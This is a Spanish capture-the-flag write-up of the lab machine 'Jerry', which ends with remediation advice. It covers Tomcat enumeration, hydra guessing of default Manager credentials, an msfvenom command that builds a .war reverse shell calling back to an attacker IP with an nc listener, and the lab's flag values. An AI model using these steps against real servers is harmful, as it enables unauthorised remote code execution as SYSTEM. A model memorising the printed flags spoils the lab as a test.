Entrada

Jerry

Windows Easy sin escalada: un Apache Tomcat 7 con el panel Manager publicado y las credenciales de fábrica (tomcat/s3cret) permite desplegar una shell en .war, y como el servicio corre como SYSTEM se entra ya con el máximo privilegio.

Jerry

Publicado por Jaime Hereza Niño

Publicado 14/10/2026
6 min de lectura
Mi puntuación
75565 votos
MáquinaSODificultadIP
JerryWindowsEasy10.129.136.9

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.136.9 jerry

Resumen

Jerry es la máquina más corta que he hecho, y lo es por un motivo muy concreto: no hay escalada de privilegios. Ninguna. Se entra y ya se es SYSTEM.

Todo gira alrededor de un Apache Tomcat con el panel de administración abierto y las credenciales que trae de fábrica. Desde ese panel, Tomcat ofrece justo lo que necesito — desplegar una aplicación — así que subo una shell empaquetada como .war, la visito y tengo terminal.

El único momento en que la máquina se pone algo juguetona es al final, con las flags. Y no es una protección: es una broma del autor.

Vulnerabilidad

No hay ningún CVE. Son tres decisiones de configuración que, juntas, convierten un servidor de aplicaciones en una puerta abierta.

01 · Credenciales por defecto en el Tomcat Manager

El panel /manager/html conserva un usuario de los que vienen de ejemplo en la documentación de Tomcat: tomcat con contraseña s3cret. Están en todos los diccionarios desde hace años, así que no es ni fuerza bruta: es probar la primera entrada de la lista.

02 · El Manager permite desplegar aplicaciones

Esto no es un fallo de Tomcat, es su función. El panel existe para subir y arrancar aplicaciones .war, y un .war es código Java que el servidor ejecuta. Dicho de otro modo: quien entra al Manager tiene ejecución remota de código por diseño. Por eso ese panel no debería estar expuesto jamás.

03 · El servicio corre como SYSTEM

El golpe final. Tomcat está instalado como servicio de Windows bajo NT AUTHORITY\SYSTEM en lugar de con una cuenta de servicio limitada. Como el código desplegado hereda el usuario del proceso, la shell nace ya con el máximo privilegio del sistema. Ahí se acaba la máquina.

Reconocimiento

Barrido completo de puertos contra la víctima, con detección de sistema operativo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess jerry
PuertoServicio
8080http-proxy

Un único puerto abierto, el 8080, y los otros 65.534 filtrados — no cerrados. Eso delata un cortafuegos descartando el tráfico en silencio, lo que de paso explica que el escaneo tarde casi dos minutos.

La huella del sistema apunta a Windows Server 2012 R2, aunque nmap avisa de que la estimación es poco fiable: sin un puerto cerrado con el que comparar, el fingerprinting va a ciegas.

Escaneo completo de puertos
Figura 1: Escaneo completo de puertos

Enumeración

Con un solo puerto, todo el peso cae sobre él

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 8080 -sCV --version-intensity 9 -n jerry
PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/7.0.88
Enumeración de versiones del servicio
Figura 2: Enumeración de versiones del servicio

Apache Tomcat 7.0.88. El 8080 es su puerto de siempre y el título de la página lo confirma sin disimulo. Lo corroboro con whatweb

┌──(jaime㉿kali)-[~]└─$ whatweb http://jerry:8080
http://jerry:8080 [200 OK] Apache, HTTPServer[Apache-Coyote/1.1], IP[10.129.136.9], Title[Apache Tomcat/7.0.88]
Tecnologías detectadas en el servidor
Figura 3: Tecnologías detectadas en el servidor

Con Tomcat identificado, lo que interesa no es buscar un exploit de la versión sino ver qué hay publicado del propio servidor

┌──(jaime㉿kali)-[~]└─$ dirsearch -u "http://jerry:8080"
401 - /manager/html 401 - /manager/jmxproxy 401 - /host-manager/html 200 - /docs/ 200 - /examples/ 200 - /index.jsp
Rutas descubiertas en el servidor
Figura 4: Rutas descubiertas en el servidor

Ahí está lo importante. Los 401 no son un portazo: son una invitación. Significan que /manager/html existe y pide credenciales, en vez de devolver un 404 como haría si estuviese desactivado.

Que el panel de administración de Tomcat esté publicado ya es medio camino. Falta entrar.

Explotación

Antes de pensar en diccionarios grandes, lo sensato con Tomcat es probar sus credenciales de fábrica — vienen comentadas en la documentación y mucha instalación se queda con ellas. Metasploit trae las listas ya preparadas

┌──(jaime㉿kali)-[~]└─$ hydra -L /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt -P /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt jerry -s 8080 http-get /manager/html
[8080][http-get] host: jerry login: admin password: admin [8080][http-get] host: jerry login: tomcat password: s3cret
Credenciales por defecto encontradas
Figura 5: Credenciales por defecto encontradas

Dos combinaciones válidas en cuatro segundos, 260 intentos en total. Llamar a esto fuerza bruta es generoso: la contraseña estaba publicada en el manual.

Con tomcat / s3cret entro al Manager, y ahí está la sección que convierte el acceso en ejecución

Formulario de despliegue de archivos WAR
Figura 6: Formulario de despliegue de archivos WAR

Un .war (Web Application Archive) es el formato con el que se empaqueta una aplicación Java: un ZIP con el código compilado y su configuración. Tomcat lo descomprime y lo publica en una ruta. Si ese código es una shell, el servidor la ejecuta por mí.

Genero la mía con msfvenom, directamente en formato war

┌──(jaime㉿kali)-[~]└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.95 LPORT=443 -f war -o shell.war
Generación de la shell empaquetada como WAR
Figura 7: Generación de la shell empaquetada como WAR

La subo desde el propio panel y pulso Desplegar

Subida del archivo al servidor
Figura 8: Subida del archivo al servidor

Antes de dispararla, el listener preparado

┌──(jaime㉿kali)-[~]└─$ nc -lvnp 443
Listener a la espera
Figura 9: Listener a la espera

Tomcat ya la ha publicado: aparece /shell en la lista de aplicaciones desplegadas, arrancada y lista

La aplicación desplegada en el listado de Tomcat
Figura 10: La aplicación desplegada en el listado de Tomcat

El nombre de la ruta sale del nombre del fichero — shell.war se publica en /shell. Solo hay que visitarla para que el código se ejecute

http://jerry:8080/shell/

Petición a la aplicación desplegada
Figura 11: Petición a la aplicación desplegada

La página se queda en blanco, que es exactamente lo que se espera: no hay nada que mostrar, el trabajo está pasando al otro lado

connect to [10.10.15.95] from (UNKNOWN) [10.129.136.9] 49197 Microsoft Windows [Version 6.3.9600] C:\apache-tomcat-7.0.88>
Shell recibida desde la víctima
Figura 12: Shell recibida desde la víctima

El 6.3.9600 confirma el Windows Server 2012 R2 que nmap había aventurado. Y entonces llega la sorpresa

C:\> whoami
nt authority\system
La shell ya es SYSTEM
Figura 13: La shell ya es SYSTEM

NT AUTHORITY\SYSTEM de entrada. No hay escalada de privilegios en esta máquina porque no hace falta: el servicio de Tomcat se instaló con la cuenta más privilegiada del sistema, y la shell hereda ese contexto.

Flags

Las dos banderas están juntas, en una carpeta del escritorio del administrador

C:\> cd C:\Users\Administrator\Desktop\flags C:\> dir
06/19/2018 07:11 AM 88 2 for the price of 1.txt

Y aquí está la única pega de la máquina, que es más una broma del autor que un obstáculo: hay un solo fichero con las dos flags dentro, y su nombre lleva espacios. Un type a secas falla, porque el intérprete parte el nombre por los espacios y busca un fichero llamado 2.

Se resuelve entrecomillando el nombre

C:\> type "2 for the price of 1.txt"
user.txt 7004dbcef0f854e0fb401875f26ebd00 root.txt 04a8b36e1545a455393d067e772fe90e
Las dos flags en un mismo fichero
Figura 14: Las dos flags en un mismo fichero

Cómo se arregla

Nada que parchear: todo se arregla con configuración, y cualquiera de las tres medidas por separado ya habría frenado el ataque.

  • Cambiar las credenciales por defecto: tomcat/s3cret y admin/admin llevan años en todos los diccionarios. Las cuentas de ejemplo de tomcat-users.xml se borran, no se reutilizan.
  • No publicar el Manager: el panel no debería ser accesible desde la red. Restringirlo a localhost con RemoteAddrValve, o directamente quitar las aplicaciones manager y host-manager de un servidor en producción.
  • Ejecutar Tomcat con una cuenta sin privilegios: este es el que más daño evita. Con una cuenta de servicio limitada, la misma intrusión habría acabado en una shell sin permisos, y habría hecho falta una escalada de verdad para llegar a SYSTEM.
  • Quitar lo que viene de ejemplo: /docs y /examples no pintan nada en producción y regalan la versión exacta del servidor.
  • Filtrar el tráfico saliente: la reverse shell necesita salir de la máquina hacia el atacante. El cortafuegos ya filtraba bien la entrada; haciendo lo propio con la salida, la conexión no se habría establecido.

Conclusiones

Máquina de nivel muy principiante, y lo digo sin que suene a reproche: para un primer contacto es ideal. No hay explotación rara, ni versiones que investigar, ni nada que compilar. Se identifica el servicio, se prueban sus credenciales de fábrica, se usa una función legítima del panel y se acabó.

El único truco está al final, con las flags metidas en un fichero cuyo nombre lleva espacios, y se resuelve con unas comillas. Es un guiño, no una dificultad.

Lo que sí deja es una lección que vale para máquinas mucho más serias: el privilegio con el que corre un servicio importa tanto como la vulnerabilidad que lo compromete. Aquí el fallo no fue entrar al panel — fue que Tomcat estuviera corriendo como SYSTEM. Con una cuenta limitada esta máquina tendría media hora más de trabajo por delante.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.